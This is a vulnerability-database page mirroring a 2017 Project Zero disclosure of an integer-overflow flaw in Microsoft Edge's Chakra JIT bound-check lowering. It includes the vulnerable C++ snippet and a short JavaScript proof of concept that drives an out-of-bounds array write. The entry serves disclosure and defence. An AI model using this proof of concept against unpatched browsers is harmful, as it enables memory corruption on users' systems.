Microsoft Edge Chakra: JIT - 'Lowerer::LowerBoundCheck' Incorrect Integer Overflow Check
🗓️ 16 Nov 2017 00:00:00Reported by Google Security ResearchType
exploitdb🔗 www.exploit-db.com👁 36 Views
| Reporter | Title | Published | Views | Family All 57 |
|---|---|---|---|---|
| CVE-2017-11841 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11861 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11846 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11840 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11871 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11858 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11837 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11866 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11870 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11873 | 15 Nov 201703:29 | – | attackerkb |
10
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1343
Here's a snippet of the method.
void Lowerer::LowerBoundCheck(IR::Instr *const instr)
{
...
if(rightOpnd->IsIntConstOpnd())
{
IntConstType newOffset;
if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a)
{
offset = newOffset;
rightOpnd = nullptr;
offsetOpnd = nullptr;
}
}
...
if(!rightOpnd)
{
rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);
}
}
At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.
PoC:
*/
function f() {
let arr = new Uint32Array(0x1000);
for (let i = 0; i < 0x7fffffff;) {
arr[++i] = 0x1234;
}
}
f();Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Nov 2017 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 37.5
CVSS 27.6
EPSS0.64194